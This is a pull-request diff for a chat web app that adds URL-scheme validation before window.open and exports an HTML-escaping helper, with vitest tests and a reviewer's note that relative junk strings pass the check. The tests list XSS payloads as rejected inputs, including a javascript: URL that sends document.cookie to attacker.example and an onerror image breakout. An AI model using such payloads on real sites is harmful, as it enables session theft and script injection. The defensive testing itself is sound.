Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
/**
* @vitest-environment jsdom
*/
import { describe, expect, it, vi } from 'vitest'

vi.mock('@/components/emcn', () => ({
Button: () => null,
Download: () => null,
Loader: () => null,
}))

vi.mock('@/components/icons/document-icons', () => ({
DefaultFileIcon: () => null,
getDocumentIcon: () => () => null,
}))

vi.mock('@/lib/core/config/env', () => ({
env: {},
getEnv: vi.fn(),
}))

vi.mock('@/lib/core/config/feature-flags', () => ({
isProd: false,
}))

import { isSafeHttpUrl } from '@/app/chat/components/message/components/file-download'

describe('isSafeHttpUrl', () => {
it('allows absolute http(s) URLs', () => {
expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true)
expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true)
})

it('allows same-origin relative URLs (resolved against the browser origin)', () => {
expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true)
})

it('rejects javascript: URLs', () => {
expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false)
expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false)
})

it('rejects other script-capable or non-navigable schemes', () => {
expect(isSafeHttpUrl('data:text/html,<script>alert(1)</script>')).toBe(false)
expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false)
expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false)
expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false)
})

it('treats relative junk as same-origin http (safe) rather than throwing', () => {
expect(isSafeHttpUrl('')).toBe(true)
expect(isSafeHttpUrl('not a url')).toBe(true)
})

it('rejects unparseable absolute input without throwing', () => {
expect(isSafeHttpUrl('http://')).toBe(false)
})
})
20 changes: 18 additions & 2 deletions apps/sim/app/chat/components/message/components/file-download.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,7 @@ import { sleep } from '@sim/utils/helpers'
import { Music } from 'lucide-react'
import { Button, Download, Loader } from '@/components/emcn'
import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons'
import { getBrowserOrigin } from '@/lib/core/utils/urls'
import type { ChatFile } from '@/app/chat/components/message/message'

const logger = createLogger('ChatFileDownload')
Expand Down Expand Up @@ -53,6 +54,21 @@ function getFileUrl(file: ChatFile): string {
return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}`
}

/**
* Validates that a URL uses an http(s) scheme before it is opened in a new window.
* Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could
* execute script in the chat origin, since `file.url` originates from untrusted
* workflow/agent output.
*/
export function isSafeHttpUrl(url: string): boolean {
try {
const parsed = new URL(url, getBrowserOrigin() ?? undefined)
return parsed.protocol === 'http:' || parsed.protocol === 'https:'
} catch {
return false
}
}
Comment on lines +63 to +70

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P2 isSafeHttpUrl treats any relative-like string as safe

When getBrowserOrigin() returns a value (as it does in the browser), strings like '', 'not a url', or even ' ' resolve against the browser origin and come back with protocol http: or https:, so the function returns true. The calling site already guards against empty strings with if (file.url && ...), but a purely alphabetic or arbitrary non-URL string supplied by agent output (e.g. "download") would pass validation and be handed to window.open() as a relative path, navigating to <origin>/download in a new tab. This is harmless in isolation, but the function's contract advertises rejecting non-http(s) input, while the tests explicitly document the opposite. Consider adding an early if (!url.startsWith('http://') && !url.startsWith('https://') && !url.startsWith('/')) guard, or at minimum narrowing the test description so future maintainers understand the deliberate choice.


async function triggerDownload(url: string, filename: string): Promise<void> {
const response = await fetch(url)
if (!response.ok) {
Expand Down Expand Up @@ -88,8 +104,8 @@ export function ChatFileDownload({ file }: ChatFileDownloadProps) {
await triggerDownload(url, file.name)
} catch (error) {
logger.error(`Failed to download file ${file.name}:`, error)
if (file.url) {
window.open(file.url, '_blank')
if (file.url && isSafeHttpUrl(file.url)) {
window.open(file.url, '_blank', 'noopener,noreferrer')
}
} finally {
setIsDownloading(false)
Expand Down
43 changes: 43 additions & 0 deletions apps/sim/app/chat/components/message/message.test.tsx
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
/**
* @vitest-environment node
*/
import { describe, expect, it, vi } from 'vitest'

vi.mock('@/components/emcn', () => ({
Duplicate: () => null,
Tooltip: {},
}))

vi.mock('@/app/chat/components/message/components/file-download', () => ({
ChatFileDownload: () => null,
ChatFileDownloadAll: () => null,
}))

vi.mock('@/app/chat/components/message/components/markdown-renderer', () => ({
default: () => null,
}))

import { escapeHtml } from '@/app/chat/components/message/message'

describe('escapeHtml', () => {
it('escapes all five HTML-significant characters', () => {
expect(escapeHtml('&<>"\'')).toBe('&amp;&lt;&gt;&quot;&#39;')
})

it('neutralizes a markup-breakout filename payload', () => {
const payload = '</title><img src=x onerror=alert(document.origin)>'
const escaped = escapeHtml(payload)
expect(escaped).not.toContain('<img')
expect(escaped).not.toContain('</title>')
expect(escaped).toBe('&lt;/title&gt;&lt;img src=x onerror=alert(document.origin)&gt;')
})

it('escapes ampersands first so entities are not double-broken', () => {
expect(escapeHtml('a & b < c')).toBe('a &amp; b &lt; c')
})

it('leaves safe strings untouched', () => {
expect(escapeHtml('report-2026.pdf')).toBe('report-2026.pdf')
expect(escapeHtml('')).toBe('')
})
})
28 changes: 5 additions & 23 deletions apps/sim/app/chat/components/message/message.tsx
Original file line number Diff line number Diff line change
Expand Up @@ -49,7 +49,7 @@ const HTML_ESCAPES: Record<string, string> = {
/**
* Escapes HTML entities so untrusted strings are safe to interpolate into markup.
*/
function escapeHtml(value: string): string {
export function escapeHtml(value: string): string {
return value.replace(/[&<>"']/g, (c) => HTML_ESCAPES[c] || c)
}

Expand Down Expand Up @@ -129,28 +129,10 @@ export const ClientChatMessage = memo(
const isInteractive =
!!attachment.dataUrl?.trim() && attachment.dataUrl.startsWith('data:')

const openAttachmentPreview = () => {
const handleOpenPreview = () => {
const validDataUrl = attachment.dataUrl?.trim()
if (!validDataUrl?.startsWith('data:')) return
const newWindow = window.open('', '_blank')
if (newWindow) {
newWindow.document.write(`
<!DOCTYPE html>
<html>
<head>
<title>${attachment.name}</title>
<style>
body { margin: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; background: #000; }
img { max-width: 100%; max-height: 100vh; object-fit: contain; }
</style>
</head>
<body>
<img src="${validDataUrl}" alt="${attachment.name}" />
</body>
</html>
`)
newWindow.document.close()
}
openAttachmentPreview(attachment.name, validDataUrl)
}

return (
Expand All @@ -170,14 +152,14 @@ export const ClientChatMessage = memo(
if (!isInteractive) return
e.preventDefault()
e.stopPropagation()
openAttachmentPreview()
handleOpenPreview()
}}
onKeyDown={(e) => {
if (!isInteractive) return
if (e.key === 'Enter' || e.key === ' ') {
e.preventDefault()
e.stopPropagation()
openAttachmentPreview()
handleOpenPreview()
}
}}
>
Expand Down
Loading